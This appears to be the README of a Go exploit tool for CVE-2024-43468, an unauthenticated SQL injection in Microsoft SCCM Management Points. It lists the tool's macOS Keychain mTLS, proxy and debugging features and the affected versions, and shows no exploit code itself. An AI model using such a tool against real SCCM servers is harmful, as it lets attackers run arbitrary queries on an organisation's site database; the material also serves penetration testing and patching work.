CVE-2024-43468 SCCM SQL Injection Exploit (mTLS client certs from MacOS keychain version)

Go implementation of CVE-2024-43468 exploit that uses macOS Keychain for mTLS authentication (without need to export keys from keychain).

Additionally:

• Added proxy support to not use problematic proxychains.
• Added get_cert_name.py to get certificate Common Name (yes, you can do it from Keychain Access GUI manually)
• Added a lot of debugging to see what's going on

Based on:

• original Python exploit
• mTLS Go Client example

Description

Exploits unauthenticated SQL injections in Microsoft Configuration Manager (ConfigMgr / SCCM) that allows an attacker with network access to a Management Point to execute arbitrary SQL queries on the site database.

Vulnerable versions:

• < 2403 (5.00.9128.1024)
• < 2309 (5.00.9122.1033)
• < 2303 (5.00.9106.1037)
